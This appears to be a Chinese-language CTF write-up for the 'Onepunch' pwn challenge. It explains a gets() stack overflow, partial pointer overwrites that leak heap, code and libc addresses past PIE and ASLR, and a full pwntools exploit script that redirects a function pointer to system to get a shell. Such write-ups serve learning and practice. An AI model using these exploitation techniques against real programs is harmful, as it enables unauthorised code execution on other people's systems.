[Pwn] Onepunch - Cpt.shao xp0int Posted on Apr 1 2018 > 一拳溢出就能锤爆ASLR 赛后几天偷看了一点WP,终于把这道*最基础*的题目做出来了,赶紧挤一点时间记录一下,不然就白做了。 ![code](https://leanote.com/api/file/getImage?fileId=5ac0f2feab6441479700133b) 漏洞真是一眼就能看出来,连`gets`这种打死都不能用的过气函数都用上了,明显就是一个栈上面的溢出,而且还不限制长度的那种。 ```bash Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 但是难点设置在了PIE开启那里,程序中也没有任何其他可以泄露的地方,只有一处限制还比较严格的`printf`可用。 ```c int __fastcall print_sentence(Role *a1) { return printf("<%s> said he can kill the boss with %lx punches\n", a1->name, LODWORD(a1->punch)); } ``` 还有一点就是逆向出来struct的结构长这样: ```c struct __attribute__((aligned(8))) Role { __int64 print_func; __int64 name; __int64 len; __int64 punch; }; ``` ### Leak heap addr 比赛中做题的时候千方百计想要泄露出一个地址,不管是heap上的stack上的libc上的或者是code段的什么都好,但是偏偏就没有找到泄露的办法,解题之旅就此结束…… 这也是拜`gets`函数所赐,这货在接收字符串的时候会自动加上`\x00`,想要填满buffer去泄露栈上的地址是不可能的了。 所以应该是利用gets去覆盖掉role变量上面的一byte或者几个bytpe的地址,然后利用错乱掉的结构信息去泄露出heap的地址。如果是覆盖一位,那么只能把role地址的最低位覆盖成`\x00`。 这里就直接用代码来说明具体的泄露步骤。 ```python add('A'*0x70, '123') add('B'*0x80+'\x10', '1') # 把第二个role struct的地址移到了heap比较上方的一个位置,最低两位地址为`\x10\x00` add('C'*0x80, '2'+'C'*0x7f+'\x10') # 把这个新malloc的name指向地址安排在了上一个结构的name的中间,然后赶在print之前把role的地址改为了和上次溢出一样的`\x10\x00` p.recvuntil('B'*8) # 结果就是print第二个role的name时候连带第三个role的name地址一起泄露出来了 content = p.recvuntil('>')[:-1] print hexdump(content.ljust(8, '\x00')) leak_heap = u64(content.ljust(8, '\x00')) heap_base = leak_heap - 0x1c0 p.info('heap_base :%x' % heap_base) ``` ### Leak code addr & libc addr 接着就是通过覆盖heap地址来泄露出struct中那个`print_func`地址,从而获取到code addr,然后结合对punch位写入一个双字的内容来得到got表上面的地址,进而泄露出libc地址。收集齐所有的地址,只需要把`print_func`指针改成`system@libc`的地址就可以~~召唤神龙~~get shell了。 ### opm.py 知道自己表述能力十分有限,所以还是放上exp让各位亲自调试好了 ```python from pwn import * from ctypes import * context.log_level = 'debug' p = process('./opm') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./opm') def add(name, punch): p.recvuntil('it\n') p.sendline('A') p.recvuntil('name:\n') p.sendline(name) p.recvuntil('punch?\n') p.sendline(punch) def show(): p.recvuntil('it\n') p.sendline('S') # leak heap addr add('A'*0x70, '123') add('B'*0x80+'\x10', '1') add('C'*0x80, '2'+'C'*0x7f+'\x10') p.recvuntil('B'*8) content = p.recvuntil('>')[:-1] print hexdump(content.ljust(8, '\x00')) leak_heap = u64(content.ljust(8, '\x00')) heap_base = leak_heap - 0x1c0 p.info('heap_base :%x' % heap_base) # leak code addr add('D'*0x80 + p64(heap_base), '0') add('E'*0x80 + p64(heap_base-0x10-2), str(c_int(((heap_base+0x20)&0xffff)<<16).value)) add('F', 'F'*0x80+p64(heap_base)) p.recvuntil('<') content = p.recvuntil('>')[:-1] leak_code = u64(content.ljust(8, '\x00')) code_base = leak_code-0xb30 p.info('code_base: %x' % code_base) # leak libc addr add('E'*0x80 + p64(heap_base+0x8), str(c_int((code_base+elf.got['strlen'])&0xffffffff).value)) add('F', 'F'*0x80+p64(heap_base+0x18)) p.recvuntil('<') content = p.recvuntil('>')[:-1] leak_libc = u64(content.ljust(8, '\x00')) libc.address = leak_libc - libc.symbols['strlen'] p.info('libc_start: %x'% libc.address) system = libc.symbols['system'] p.info('system: %x'% system) payload = str(c_int(system&0xffffffff).value).ljust(0x80, '\x00') + p64(code_base+elf.got['strlen']-0x18) add('G', payload) p.recvuntil('it\n') p.sendline('A') p.recvuntil('name:\n') p.sendline('/bin/sh') p.interactive() ``` ### 总结 想要泄露地址又碍于函数自动添加`\x00`字节的限制的话,可以让想要泄露的地址落在可以被输出的字符串中间。只要泄露出一个地址,加上一个稍微能用的写操作,总会有方法绕过ASLR达到Get shell目的。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] BabyStack - Cpt.shao [Pwn] Silent -Cpt.shao
没有帐号? 立即注册